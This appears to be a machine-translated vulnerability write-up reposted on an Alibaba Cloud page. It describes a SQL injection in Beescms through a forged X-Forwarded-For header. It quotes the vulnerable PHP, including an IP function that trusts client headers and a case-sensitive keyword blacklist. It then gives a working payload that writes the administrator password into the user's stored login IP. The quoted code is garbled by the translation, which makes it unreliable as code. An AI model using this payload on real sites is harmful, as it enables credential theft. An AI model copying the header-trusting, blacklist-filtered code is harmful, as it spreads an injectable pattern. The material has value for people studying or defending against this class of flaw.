Beescms X-Forwarded-For Injection

Source: Internet
Author: User

Member/member. php file
//........................
$ Ip = fl_html (fl_value (get_ip ()));
$ SQL = "update". DB_PRE. "member set member_time = '{$ addtime}', member_ip = '{$ ip}' where id = {$ last_id }";
$ GLOBALS ['mysql']-> query ($ SQL );
//........................
Tracking. {$ _ SESSION ['m _ ip']} source.
Elseif ($ action = 'out '){
$ M_ip = fl_html (fl_value (get_ip ()));
$ _ SESSION ['m _ ip'] = $ m_ip;
Tracking. Fl_html (fl_value (get_ip () source.
Get_ip () function www.2cto.com
Function get_ip (){
If (! Empty ($ _ SERVER ['HTTP _ CLIENT_IP '])
{
Return $ _ SERVER ['HTTP _ CLIENT_IP '];
}
Elseif (! Empty ($ _ SERVER ['HTTP _ X_FORWARDED_FOR '])
{
Return $ _ SERVER ['HTTP _ X_FORWARDED_FOR '];
}
Else
Return $ _ SERVER ['remote _ ADDR '];
}
}
The get_ip () function can be forged.
Fl_value () function
Function fl_value ($ str ){
If (empty ($ str) {return ;}
Return preg_replace ('/select | insert | update | and | in | on | left | joins | delete | \ % | \ sss =|\/ \ * | \. \. \/| \. \/| union | from | where | group | into | load_file
| Outfile/', '', $ str); // case sensitive information can be bypassed.
}
The fl_html () function does not affect us.
Function fl_html ($ str ){
Return htmlspecialchars ($ str );
}
Exp: Registered User. Modify X-Forwarded-For: 127.1 ', member_ip = (SELECT admin_password FROM bees_admin) whEre member_user = 'your user '#. Log on. The last logon IP address changed to the administrator password.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.